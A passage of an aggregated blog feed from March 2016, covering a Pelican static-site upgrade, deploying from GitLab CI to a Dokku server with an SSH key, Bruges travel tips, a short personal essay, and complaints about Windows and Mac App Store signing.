&lt;p&gt;This is done using &lt;a href="https://docs.travis-ci.com/user/environment-variables/"&gt;environment variables&lt;/a&gt;.
When multiple environment variables are specified, a build will be run for every …&lt;/p&gt;</description><author>zufallsheld</author><pubDate>Sat, 05 Mar 2016 23:00:00 GMT</pubDate><guid isPermaLink="true">https://www.zufallsheld.de/2016/03/05/testing-multiple-ansible-versions-on-travis/</guid></item><item><title>House of Cards: Season 4</title><link>https://olshansky.info/tv/house_of_cards_season_4/</link><description>Olshansky's review of House of Cards: Season 4</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 05 Mar 2016 17:38:04 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/house_of_cards_season_4/</guid></item><item><title>How I upgraded this website to Pelican 3.6</title><link>https://duncanlock.net/blog/2016/03/05/how-i-upgraded-this-website-to-pelican-36/</link><description>&lt;p&gt;This site has been generated using Pelican 3.3 for over two years - and I finally found some time to upgrade to the current version of Pelican, 3.6.3. This is how I did the&amp;nbsp;upgrade.&lt;/p&gt;
&lt;p&gt;I decided to be lazy and do the upgrade in-place, instead of creating a new &lt;code&gt;virtualenv&lt;/code&gt; and copying the content &lt;span class="amp"&gt;&amp;amp;&lt;/span&gt; settings over. Luckily, this worked out &lt;span class="caps"&gt;OK&lt;/span&gt;, after a bit of fiddling&amp;nbsp;around.&lt;/p&gt;
&lt;p&gt;I also decided, rather cavalierly, to upgrade all the packages in the &lt;code&gt;virtualenv&lt;/code&gt; to their latest versions while I was at it. To do this, I upgraded &lt;code&gt;pip&lt;/code&gt;, then used &lt;a href="https://pypi.python.org/pypi/pip-review"&gt;pip-review&lt;/a&gt;. To upgrade &lt;code&gt;pip&lt;/code&gt; &lt;span class="amp"&gt;&amp;amp;&lt;/span&gt; install &lt;code&gt;pip-review&lt;/code&gt; system wide, run this on the command&amp;nbsp;line:&lt;/p&gt;
&lt;div class="listing-block"&gt;&lt;pre class="rouge highlight"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;--upgrade&lt;/span&gt; pip
&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; pip &lt;span class="nb"&gt;install &lt;/span&gt;pip-review&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Then upgrade eveything in the sites &lt;code&gt;virtualenv&lt;/code&gt;:&lt;/p&gt;
&lt;div class="listing-block"&gt;&lt;pre class="rouge highlight"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt-get &lt;span class="nb"&gt;install &lt;/span&gt;libjpeg-dev
&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;workon duncanlock.net
&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;pip-review &lt;span class="nt"&gt;--auto&lt;/span&gt;
&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;pip freeze &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; requirements.txt&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Installing &lt;code&gt;&lt;strong&gt;libjpeg-dev&lt;/strong&gt;&lt;/code&gt; was a requirement for upgrading Pillow, I&amp;nbsp;think.&lt;/p&gt;
&lt;section class="doc-section level-1"&gt;&lt;h2 id="_upgrade_settings"&gt;Upgrade&amp;nbsp;Settings&lt;/h2&gt;&lt;p&gt;I then tried to generate the site&amp;#8201;&amp;#8211;&amp;#8201;and got&amp;nbsp;this:&lt;/p&gt;
&lt;div class="listing-block"&gt;&lt;pre class="rouge highlight"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;pelican content
&lt;span class="go"&gt;
WARNING: PLUGIN_PATH setting has been replaced by PLUGIN_PATHS, moving it to the new setting name.
WARNING: Defining PLUGIN_PATHS setting as string has been deprecated (should be a list)
WARNING: Deprecated setting ARTICLE_DIR, moving it to ARTICLE_PATHS list
WARNING: Deprecated setting PAGE_DIR, moving it to PAGE_PATHS list&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;These are all warnings about deprecated settings in my ancient &lt;code&gt;pelicanconf.py&lt;/code&gt; settings file. I fixed those by making these&amp;nbsp;changes:&lt;/p&gt;
&lt;div class="listing-block"&gt;&lt;pre class="rouge highlight"&gt;&lt;code&gt;&lt;span class="gd"&gt;-ARTICLE_DIR = ('posts')
-PAGE_DIR = ('pages')
&lt;/span&gt;&lt;span class="gi"&gt;+ARTICLE_PATHS = ['posts']
+PAGE_PATHS = ['pages']
&lt;/span&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;span class="gd"&gt;-PLUGIN_PATH = '../pelican-plugins'
&lt;/span&gt;&lt;span class="gi"&gt;+PLUGIN_PATHS = ['../pelican-plugins']&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section class="doc-section level-1"&gt;&lt;h2 id="_upgrade_plugins"&gt;Upgrade&amp;nbsp;Plugins&lt;/h2&gt;&lt;p&gt;I&amp;#8217;m sourcing my plugins from a git checkout of the &lt;a href="https://github.com/getpelican/pelican-plugins"&gt;pelican-plugins repository&lt;/a&gt;, so I pulled that up to date like&amp;nbsp;this:&lt;/p&gt;
&lt;div class="listing-block"&gt;&lt;pre class="rouge highlight"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; ../pelican-plugins/
&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;git fetch origin
&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;git co master
&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;git pull &lt;span class="nt"&gt;--recurse-submodules&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; git submodule update &lt;span class="nt"&gt;--recursive&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The only change precipitated by this was a minor tweak to use the &lt;code&gt;series&lt;/code&gt; plugin instead of the deprecated &lt;code&gt;multipart&lt;/code&gt; one. I made this change to the&amp;nbsp;theme:&lt;/p&gt;
&lt;div class="listing-block"&gt;&lt;pre class="rouge highlight"&gt;&lt;code&gt;&lt;span class="gd"&gt;--- a/templates/article-sidebar-multipart.html
&lt;/span&gt;&lt;span class="gi"&gt;+++ b/templates/article-sidebar-multipart.html
&lt;/span&gt;&lt;span class="p"&gt;@@ -1,9 +1,9 @@&lt;/span&gt;
&lt;span class="gd"&gt;-{% if article.metadata.parts_articles %}
&lt;/span&gt;&lt;span class="gi"&gt;+{% if article.series %}
&lt;/span&gt;     &amp;lt;div class="row-fluid"&amp;gt;
         &amp;lt;nav&amp;gt;
             &amp;lt;p&amp;gt;This post is part of a series:&amp;lt;/p&amp;gt;
             &amp;lt;ol class="parts"&amp;gt;
&lt;span class="gd"&gt;-            {% for part_article in article.metadata.parts_articles %}
&lt;/span&gt;&lt;span class="gi"&gt;+            {% for part_article in article.series.all %}
&lt;/span&gt;                 &amp;lt;li {% if part_article == article %}class="active"{% endif %}&amp;gt;
                     {% if part_article == article %}
                     {{ part_article.title }}
&lt;span class="p"&gt;@@ -15,4 +15,4 @@&lt;/span&gt;
             &amp;lt;/ol&amp;gt;
         &amp;lt;/nav&amp;gt;
     &amp;lt;/div&amp;gt;
{% endif %}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;and changed my config to load the &lt;code&gt;series&lt;/code&gt; plugin&amp;nbsp;instead:&lt;/p&gt;
&lt;div class="listing-block"&gt;&lt;pre class="rouge highlight"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Which plugins to enable
&lt;/span&gt;&lt;span class="n"&gt;PLUGINS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="s"&gt;'better_figures_and_images'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s"&gt;'assets'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s"&gt;'related_posts'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s"&gt;'extract_toc'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s"&gt;'post_stats'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s"&gt;'series'&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section class="doc-section level-1"&gt;&lt;h2 id="_minor_tweak_to_syntax_highlighting_in_blueprint_theme"&gt;Minor tweak to syntax highlighting in blueprint&amp;nbsp;theme&lt;/h2&gt;&lt;p&gt;As my pygments module had got a &lt;a href="http://pygments.org/docs/changelog/"&gt;major version bump from 1.6 to 2.1.2&lt;/a&gt;, I updated the pygments &lt;span class="caps"&gt;CSS&lt;/span&gt; files included with the theme. To do this, I ran this at the command line, in the website folder, then merged the result into the existing &lt;code&gt;pygments-monokai.css&lt;/code&gt; file in the blueprint themes &lt;code&gt;static/css&lt;/code&gt; folder:&lt;/p&gt;
&lt;div class="listing-block"&gt;&lt;pre class="rouge highlight"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;pygmentize &lt;span class="nt"&gt;-S&lt;/span&gt; monokai &lt;span class="nt"&gt;-f&lt;/span&gt; html &lt;span class="nt"&gt;-a&lt;/span&gt; .highlight | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; pygments-monokai.css&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I also had an existing &lt;code&gt;pygments.css&lt;/code&gt; in there for some reason, which had a few extra styles in. I merged these into &lt;code&gt;pygments-monokai.css&lt;/code&gt; and deleted it, so I could load just &lt;span class="caps"&gt;CSS&lt;/span&gt; one&amp;nbsp;file.&lt;/p&gt;&lt;/section&gt;
&lt;section class="doc-section level-1"&gt;&lt;h2 id="_new_feature_caching"&gt;New feature:&amp;nbsp;Caching&lt;/h2&gt;&lt;p&gt;Pelican 3.6 now has build caching, which 3.3 didn&amp;#8217;t. To take advantage of this, I set these properties in my settings&amp;nbsp;file:&lt;/p&gt;
&lt;div class="listing-block"&gt;&lt;pre class="rouge highlight"&gt;&lt;code&gt;&lt;span class="c1"&gt;#################################
#
# Cache Settings
#
#################################
&lt;/span&gt;
&lt;span class="n"&gt;CACHE_CONTENT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
&lt;span class="n"&gt;CHECK_MODIFIED_METHOD&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;'mtime'&lt;/span&gt;
&lt;span class="n"&gt;LOAD_CONTENT_CACHE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
&lt;span class="n"&gt;GZIP_CACHE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Doing this cut the generation time for this site roughly in half&amp;#8201;&amp;#8211;&amp;#8201;from ~13 seconds, down to ~7 seconds - a worthwhile improvement. Symlinking the &lt;code&gt;./cache&lt;/code&gt; folder to my &lt;span class="caps"&gt;SSD&lt;/span&gt; instead of the regular &lt;span class="caps"&gt;HD&lt;/span&gt;&amp;#8230;&amp;#8203; didn&amp;#8217;t make much difference to the time. Symlinking it to a folder on &lt;a href="https://wiki.archlinux.org/index.php/Tmpfs"&gt;a tmpfs &lt;span class="caps"&gt;RAM&lt;/span&gt; disk&lt;/a&gt; didn&amp;#8217;t seem to make much difference either&amp;#8201;&amp;#8211;&amp;#8201;so for this little site, the caching doesn&amp;#8217;t seem very &lt;span class="caps"&gt;IO&lt;/span&gt; bound, which was a little unexpected. Maybe this is because the source files are still on a regular &lt;span class="caps"&gt;HD&lt;/span&gt; - or maybe the &lt;span class="caps"&gt;OS&lt;/span&gt; was already doing a good job with disk&amp;nbsp;caching.&lt;/p&gt;&lt;/section&gt;</description><author>duncan­lock­.net</author><pubDate>Sat, 05 Mar 2016 11:51:54 GMT</pubDate><guid isPermaLink="true">https://duncanlock.net/blog/2016/03/05/how-i-upgraded-this-website-to-pelican-36/</guid></item><item><title>Pushing to Dokku from GitLab CI</title><link>https://jeroenpelgrims.com/pushing-to-dokku-from-gitlab-ci/</link><description>&lt;div class="cover"&gt;![GitLab CI logo](/images/gitlab-ci-logo.png)&lt;/div&gt;
&lt;p&gt;I had heard about &lt;a href="https://gitlab.com"&gt;GitLab&lt;/a&gt; for a while ago but it was only recently that I actually tried it out a bit more thorougly and discovered they have quite a few cool features.&lt;br /&gt;
Just like &lt;a href="https://bitbucket.org"&gt;Bitbucket&lt;/a&gt; they have a free tier which includes private repositories, or projects in GitLab lingo.&lt;/p&gt;
&lt;p&gt;But on their free solution on gitlab.com —the .org domain is for the project itself— you can also make use of their CI service &lt;a href="https://about.gitlab.com/gitlab-ci/"&gt;GitLab CI&lt;/a&gt;. Making use of the CI service is as easy as adding a file called &lt;code&gt;.gitlab-ci.yml&lt;/code&gt;.&lt;br /&gt;
This makes the CI usage so much faster and easier than configuring everything on a separate site like &lt;a href="https://codeship.com"&gt;CodeShip&lt;/a&gt; or &lt;a href="https://semaphoreci.com"&gt;Semaphore&lt;/a&gt;. Another big benefit is that there are no limitations of how many builds you can do per month or restrictions on private projects.&lt;/p&gt;
&lt;p&gt;My projects are hosted on my own Dokku setup and I needed to find a way to automatically push from my GitLab repo to my Dokku server (using ssh authentication) on a successful build by GitLab CI.&lt;/p&gt;
&lt;h2 id="getting-gitlab-ci-to-push-to-dokku"&gt;Getting Gitlab CI to push to Dokku&lt;a class="zola-anchor" href="https://jeroenpelgrims.com/pushing-to-dokku-from-gitlab-ci/#getting-gitlab-ci-to-push-to-dokku" title="Click here to get a direct link to this section in your browser's address bar."&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="generating-an-ssh-keypair"&gt;Generating an SSH keypair&lt;a class="zola-anchor" href="https://jeroenpelgrims.com/pushing-to-dokku-from-gitlab-ci/#generating-an-ssh-keypair" title="Click here to get a direct link to this section in your browser's address bar."&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;pre class="language-bash " style="background-color: #ffffff; color: #323232;"&gt;&lt;code class="language-bash"&gt;&lt;span&gt;$ ssh-keygen -t rsa
&lt;/span&gt;&lt;span&gt;Enter file in which to save the key (/home/&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;username&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;&amp;gt;&lt;/span&gt;&lt;span&gt;/.ssh/id_rsa)&lt;/span&gt;&lt;span style="color: #62a35c;"&gt;:&lt;/span&gt;&lt;span&gt; /home/&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;username&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;&amp;gt;&lt;/span&gt;&lt;span&gt;/.ssh/example
&lt;/span&gt;&lt;span&gt;Enter passphrase (empty for no passphrase)&lt;/span&gt;&lt;span style="color: #62a35c;"&gt;:
&lt;/span&gt;&lt;span&gt;Enter same passphrase again:
&lt;/span&gt;&lt;span&gt;Your identification has been saved in /home/&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;username&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;&amp;gt;&lt;/span&gt;&lt;span&gt;/.ssh/example.
&lt;/span&gt;&lt;span&gt;Your public key has been saved in /home/&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;username&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;&amp;gt;&lt;/span&gt;&lt;span&gt;/.ssh/example.pub.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For the rest of the tutorial I'll assume you left the passphrase empty.&lt;/p&gt;
&lt;h3 id="adding-the-keypair-to-dokku"&gt;Adding the keypair to Dokku &lt;a href="https://www.digitalocean.com/community/questions/dokku-add-new-ssh-key?answer=9187"&gt;#&lt;/a&gt;&lt;a class="zola-anchor" href="https://jeroenpelgrims.com/pushing-to-dokku-from-gitlab-ci/#adding-the-keypair-to-dokku" title="Click here to get a direct link to this section in your browser's address bar."&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;sshcommand&lt;/code&gt; should already be installed on your server by Dokku by default.&lt;/p&gt;
&lt;pre class="language-bash " style="background-color: #ffffff; color: #323232;"&gt;&lt;code class="language-bash"&gt;&lt;span&gt;$ cat /home/&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;username&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;&amp;gt;&lt;/span&gt;&lt;span&gt;/.ssh/example.pub &lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;| &lt;/span&gt;&lt;span&gt;ssh root@&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;yourdokkuinstance&lt;/span&gt;&lt;span style="font-weight: bold; color: #a71d5d;"&gt;&amp;gt; &lt;/span&gt;&lt;span style="color: #183691;"&gt;&amp;quot;sudo sshcommand acl-add dokku &amp;lt;description&amp;gt;&amp;quot;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Where &lt;code&gt;&amp;lt;yourdokkuinstance&amp;gt;&lt;/code&gt; is the domain or ip where your dokku is running.&lt;br /&gt;
It'll show a bunch of hexadecimal numbers separated by parentheses here if successful.&lt;/p&gt;
&lt;h3 id="adding-the-private-key-to-gitlab"&gt;Adding the private key to GitLab&lt;a class="zola-anchor" href="https://jeroenpelgrims.com/pushing-to-dokku-from-gitlab-ci/#adding-the-private-key-to-gitlab" title="Click here to get a direct link to this section in your browser's address bar."&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Print out the contents of your private key and copy them to your keyboard.&lt;/p&gt;
&lt;pre class="language-bash " style="background-color: #ffffff; color: #323232;"&gt;&lt;code class="language-bash"&gt;&lt;span&gt;cat /home/resurge/.ssh/example
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Copy everything from&lt;br /&gt;
&lt;code&gt;-----BEGIN RSA PRIVATE KEY-----&lt;/code&gt;&lt;br /&gt;
to&lt;br /&gt;
&lt;code&gt;-----END RSA PRIVATE KEY-----&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Open GitLab.&lt;/li&gt;
&lt;li&gt;Go to the project you want to deploy&lt;/li&gt;
&lt;li&gt;Open the settings&lt;/li&gt;
&lt;li&gt;Open the Variables tab&lt;/li&gt;
&lt;li&gt;Add a new variable with the key &lt;code&gt;SSH_PRIVATE_KEY&lt;/code&gt; and paste the contents of the private key file.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="using-the-private-key-in-the-gitlab-ci-script"&gt;Using the private key in the GitLab CI script&lt;a class="zola-anchor" href="https://jeroenpelgrims.com/pushing-to-dokku-from-gitlab-ci/#using-the-private-key-in-the-gitlab-ci-script" title="Click here to get a direct link to this section in your browser's address bar."&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Create a file called &lt;code&gt;.gitlab-ci.yml&lt;/code&gt; in your project repository.&lt;/p&gt;
&lt;p&gt;Add the following contents:&lt;/p&gt;
&lt;pre class="language-yaml " style="background-color: #ffffff; color: #323232;"&gt;&lt;code class="language-yaml"&gt;&lt;span style="color: #63a35c;"&gt;before_script&lt;/span&gt;&lt;span&gt;:
&lt;/span&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span style="color: #183691;"&gt;mkdir -p ~/.ssh
&lt;/span&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span style="color: #183691;"&gt;echo &amp;quot;$SSH_PRIVATE_KEY&amp;quot; | tr -d '\r' &amp;gt; ~/.ssh/id_rsa
&lt;/span&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span style="color: #183691;"&gt;chmod 600 ~/.ssh/id_rsa
&lt;/span&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span style="color: #183691;"&gt;ssh-keyscan -H '&amp;lt;yourdokkuinstance&amp;gt;' &amp;gt;&amp;gt; ~/.ssh/known_hosts
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span style="color: #63a35c;"&gt;stages&lt;/span&gt;&lt;span&gt;:
&lt;/span&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span style="color: #183691;"&gt;deploy
&lt;/span&gt;&lt;span&gt;
&lt;/span&gt;&lt;span style="color: #63a35c;"&gt;deploy_to_dokku&lt;/span&gt;&lt;span&gt;:
&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span style="color: #63a35c;"&gt;stage&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span style="color: #183691;"&gt;deploy
&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span style="color: #63a35c;"&gt;script&lt;/span&gt;&lt;span&gt;:
&lt;/span&gt;&lt;span&gt;    - &lt;/span&gt;&lt;span style="color: #183691;"&gt;git push dokku@&amp;lt;yourdokkuinstance&amp;gt;:&amp;lt;projectname&amp;gt; master
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="useful-info-removing-the-key-from-dokku-when-it-s-obsolete"&gt;Useful info: Removing the key from Dokku when it's obsolete&lt;a class="zola-anchor" href="https://jeroenpelgrims.com/pushing-to-dokku-from-gitlab-ci/#useful-info-removing-the-key-from-dokku-when-it-s-obsolete" title="Click here to get a direct link to this section in your browser's address bar."&gt;§&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;To remove the key you added earlier to the server where your Dokku installation is running you can SSH into the server and run the following command:&lt;br /&gt;
&lt;code&gt;sshcommand acl-remove dokku &amp;lt;description&amp;gt;&lt;/code&gt;&lt;br /&gt;
Where &lt;code&gt;&amp;lt;description&amp;gt;&lt;/code&gt; is the description you entered at the &lt;code&gt;sshcommand acl-add&lt;/code&gt; step.&lt;/p&gt;
&lt;h2 id="other-paas-providers"&gt;Other Paas providers&lt;a class="zola-anchor" href="https://jeroenpelgrims.com/pushing-to-dokku-from-gitlab-ci/#other-paas-providers" title="Click here to get a direct link to this section in your browser's address bar."&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Most of the steps in this post should be easily usable for other Paas providers as well like Heroku or OpenShift.&lt;br /&gt;
You'll have to ignore step 2 (Adding the keypair to Dokku) and possibly step 1 as well (Generating an SSH keypair). Instead, you should attach the generated key to your repository or account on your Paas provider's site or it's possible you'll be provided with one (and thus don't need to generate one).&lt;/p&gt;
&lt;p&gt;This post was &lt;a href="https://gitlab.com/jeroenpelgrims/jeroenpelgrims.com/builds"&gt;deployed using Gitlab CI&lt;/a&gt; as described in the post above :)&lt;/p&gt;</description><author>Jeroen Pelgrims</author><pubDate>Sat, 05 Mar 2016 04:01:00 GMT</pubDate><guid isPermaLink="true">https://jeroenpelgrims.com/pushing-to-dokku-from-gitlab-ci/</guid></item><item><title>Bruges travel bookmarks</title><link>https://xenodium.com/bruges-travel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.assietteblanche.be/"&gt;assietteblanche.be&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Beer flavored meals at Den Dyver.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://bistrozwarthuis.be"&gt;bistrozwarthuis.be&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Eat fries in front of the belfry and climb it.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.kok-au-vin.be"&gt;kok-au-vin.be&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.kurtspan.be/"&gt;kurtspan.be&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Minnewater and the old Beguinage.&lt;/li&gt;
&lt;li&gt;Old Saint john's Hospital.&lt;/li&gt;
&lt;li&gt;Relic of the Holy Blood and City hall.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.restomojo.tk"&gt;restomojo.tk&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.thechocolateline.be/en"&gt;The Chocolate Line&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;The Garre, near the Burg and drink their house Tripel.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.tomsdiner.be"&gt;tomsdiner.be&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Try out Straffe Hendrik beer at brewery terrace.&lt;/li&gt;
&lt;li&gt;Walk behind Gruuthuse over the little Saint Bonifaas bridge.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sat, 05 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/bruges-travel-bookmarks</guid></item><item><title>Circles of Influence</title><link>https://josh.works/misc/2016/03/05/circles-of-influence/</link><description>&lt;p&gt;I was listening to a podcast today, where they said if you have problems knowing what to write about, or you’ve hit a block, write about something that angers you.&lt;/p&gt;

&lt;p&gt;This is easy. I could write about any number of things that we’ve all read in a newspaper, and get good and angry about that. &lt;/p&gt;

&lt;p&gt;But I can’t do anything about it. If there is an event that we read about in a newspaper, it is, by definition, out of my circle of influence.&lt;/p&gt;

&lt;p&gt;My circle of influence is pretty small. I live inside of it, as does my wife. Everyone else can pretty much choose if they want to be influenced by me. &lt;/p&gt;

&lt;p&gt;By reading this, you’re becoming part of my circle of influence. You may choose to not be influenced by me, but you have to make that decision, you have to respond. So I’m influencing you.&lt;/p&gt;

&lt;p&gt;The words on my screen are the extent of my circle of influence. I have thoughts, I jot them down on my computer, and hit publish. And you can then read them. &lt;/p&gt;

&lt;p&gt;So, if you are inside of my circle of influence, how is it even remotely helpful for me to get angry about something and share it with you? That’s wasting both of our time. &lt;/p&gt;

&lt;p&gt;I’d much rather use this opportunity to impart something of value to you.&lt;/p&gt;

&lt;p&gt;So here’s a value-adding article for you: 
&lt;a href="https://sivers.org/hsu"&gt;https://sivers.org/hsu&lt;/a&gt; (He makes a case that you should aim to be happy, smart, and useful. Not just one or two of those things.)&lt;/p&gt;

&lt;p&gt;-Josh&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Sat, 05 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/misc/2016/03/05/circles-of-influence/</guid></item><item><title>[Mini] Idea Debt</title><link>https://trigonaminima.github.io/2016/03/idea-debt/</link><description>I came across this blog post on idea debts. Many things it talked about, were also happening with me.</description><author>Playground</author><pubDate>Sat, 05 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://trigonaminima.github.io/2016/03/idea-debt/</guid></item><item><title>[Computing] Microsoft has stopped making Windows</title><link>https://www.devever.net/~hl/windowsbetrayal</link><description>&lt;p&gt;Well, they're certainly making a product called “Windows”. However, with
Windows Microsoft has essentially performed what I call “market betrayal”.&lt;/p&gt;</description><author>devever.net/~hl</author><pubDate>Sat, 05 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.devever.net/~hl/windowsbetrayal</guid></item><item><title>I Am Done With the Mac App Store</title><link>https://donatstudios.com/IAmDoneWithTheAppStore</link><description>&lt;p&gt;&lt;strong&gt;tl;dr&lt;/strong&gt; Do not depend on App Store Apps, Apple can and will pull the carpet out from under you.&lt;/p&gt;
&lt;p&gt;Reading &lt;a href="https://news.ycombinator.com/item?id=11219208"&gt;Hacker News&lt;/a&gt; today there is an article about how &lt;a href="https://tidbits.com/article/16302"&gt;OS X Installers&lt;/a&gt; stopped working on February 14th, 2016. This is due to an expired certificate Apple used to sign the binaries with.  &lt;/p&gt;
&lt;p&gt;In that same time range I had a handful of Apps &lt;strong&gt;purchased&lt;/strong&gt; from the App store suddenly and &lt;em&gt;mysteriously&lt;/em&gt; stop working. They just quit. No dialog, no error mesasage, nothing at all. Apps I &lt;strong&gt;paid for&lt;/strong&gt; and &lt;strong&gt;depend on&lt;/strong&gt; just stopped working.&lt;/p&gt;
&lt;p&gt;The thing they all these Apps have in common is they are no longer available from the App store and have not been updated in several years. I am nearly certain that this is the same signing issue.&lt;/p&gt;
&lt;p&gt;If this is the case, this means all Apps from the app store are signed &lt;strong&gt;built-in self destruct&lt;/strong&gt; date. One which only Apple or the original author can fix.&lt;/p&gt;
